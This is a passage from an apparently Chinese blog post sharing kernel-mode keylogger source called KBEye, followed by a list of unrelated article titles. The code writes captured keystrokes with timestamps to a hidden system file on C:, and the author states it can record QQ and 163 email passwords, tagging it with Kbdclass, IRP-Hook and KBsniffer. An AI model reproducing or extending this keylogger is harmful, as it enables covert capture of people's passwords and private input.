0,
0,
0,
ThreadFunc,
0);
ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode,(PVOID*)&ThreadObject, NULL);
ZwClose(ThreadHandle);
return NtStatus;
}
VOID ThreadFunc(PVOID lpContext)
{
UNICODE_STRING usFileName;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hFile;
IO_STATUS_BLOCK IoStatus;
FILE_STANDARD_INFORMATION FileInformation;
LARGE_INTEGER CurrentSystemTime;
LARGE_INTEGER CurrentLocalTime;
TIME_FIELDS TimeFields;
ULONG ulIndex;
UCHAR szInfoBuffer[64];
KIRQL Irql;
RtlInitUnicodeString(&usFileName, L"\\??\\C:\\KbEye.txt");
InitializeObjectAttributes(&ObjectAttributes,
&usFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ZwCreateFile(&hFile,
GENERIC_ALL,
&ObjectAttributes,
&IoStatus,
NULL,
FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN ,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
0,
0);
while(IsEnding==FALSE)
{
if (KeWaitForSingleObject(&hEvent, Executive, KernelMode, FALSE, NULL)==STATUS_SUCCESS)
{
KeQuerySystemTime(&CurrentSystemTime);
ExSystemTimeToLocalTime(&CurrentSystemTime,&CurrentLocalTime);
RtlTimeToTimeFields(&CurrentLocalTime,&TimeFields);
KeAcquireSpinLock(&SpinLock,&Irql);
ZwQueryInformationFile( hFile,
&IoStatus,
&FileInformation,
sizeof(FileInformation),
FileStandardInformation);
if(Buffer[31]!='\0')
{
Buffer[31]='\0';
}
RtlZeroMemory(szInfoBuffer,64);
StringCchPrintfA(szInfoBuffer,64,"[%04d-%02d-%02d,%02d:%02d:%02d]",TimeFields.Year,TimeFields.Month,TimeFields.Day,TimeFields.Hour,TimeFields.Minute,TimeFields.Second);
StringCchCatA(szInfoBuffer,64,Buffer);
for(ulIndex=0;ulIndex<64;ulIndex++)
{
if(szInfoBuffer[ulIndex]=='\0')
{
break;
}
}
ZwWriteFile(hFile,
0,
0,
0,
&IoStatus,
szInfoBuffer,
ulIndex,
&FileInformation.EndOfFile,
0);
KeReleaseSpinLock(&SpinLock,Irql);
}
}
ZwClose(hFile);
}
//----------------------------------华丽的分割线 ----------------------------------//
本以为这个程序应该会有人关注,尽管其比较丑陋,但是好歹也可以记录QQ,163邮箱等什么的密码。至少比Ring3下的键盘钩子强——可惜没有多少人看。那我就加几个关键字:
keyword: Kbdclass,IRP-Hook,KBsniffer
- KBEye——专注键盘
- 专注——潘家宇
- 开博首篇——谈学习中的专注
- Markdown——让你专注写作
- 专注UI——实用技术:模糊搜索
- 亟需的能力——专注
- OpenResty—专注高性能服务开发
- 专注
- @!专注#%
- 专注
- 专注
- 专注
- 专注
- 专注
- 专注
- 专注
- 专注
- 专注
- linux shell 学习日记
- Android开源项目apk源码
- 关于linux时间、时区
- sudo su ; sudo root ; sudo - root的区别
- ubuntu下使用git进行代码项目管理
- KBEye——专注键盘
- 黑马程序员-IO流之字符流,File类
- Find必杀技巧(全面撑握find使用)
- 一个简单的内部类
- translate的使用
- Android应用性能优化之绘图分析
- Ubuntu下安装OpenSSH Server使之可以被远程连接 ssh: connect to host 192.168.XX.XX port 22: Connection refused
- linux下which、whereis、locate、find 命令的区别
- ssh框架,第一次登录失败则后续登录一直失败